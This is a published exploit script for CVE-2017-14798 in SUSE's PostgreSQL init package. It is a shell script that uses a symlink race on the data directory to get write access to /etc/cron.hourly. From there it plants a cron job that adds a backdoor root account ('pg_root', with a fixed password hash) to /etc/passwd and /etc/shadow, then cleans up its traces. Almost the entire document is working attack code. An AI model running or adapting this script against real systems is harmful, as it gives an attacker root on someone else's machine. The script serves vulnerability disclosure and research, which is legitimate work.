PostgreSQL 9.4-0.5.3 Privilege Escalation

`# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation  
# Date: 2017-10-11  
# Exploit Author: Johannes Segitz  
# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722  
# Software Link: -  
# Version: Before postgresql-init-9.4-0.5.3.1  
# Tested on: SUSE Linux Enterprise 11 SP4  
# CVE : CVE-2017-14798  
  
#!/bin/sh  
  
# don't use spaces or other funny characters in here  
CRON_DIR='/etc/cron.hourly'  
CRON_FILE="$CRON_DIR/totally_not_a_lpe"  
  
declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')  
  
if [ "$(whoami)" != "postgres" ]; then  
echo "Must be run as user postgres"  
exit -1  
fi  
cd  
  
echo setting up exploit  
mv data data2  
ln -s $CRON_DIR data  
  
echo waiting for DB restart  
while [ ! -w $CRON_DIR ]; do  
sleep 1   
done  
  
echo able to write $CRON_DIR  
echo '#!/bin/sh' > $CRON_FILE  
echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE  
echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE  
echo "rm $CRON_FILE" >> $CRON_FILE  
echo "chown root.root ${CRON_DIR}" >> $CRON_FILE  
chmod +x $CRON_FILE  
  
if [ -e $CRON_FILE ]; then  
echo wrote $CRON_FILE  
else  
echo failed to write $CRON_FILE, exiting  
exit 1  
fi  
  
echo cleaning up  
for i in "${CLEANUP_ELEMENTS[@]}"; do  
rm -rf "$CRON_DIR/$i"  
done  
rm data  
mv data2 data   
  
echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!  
  
`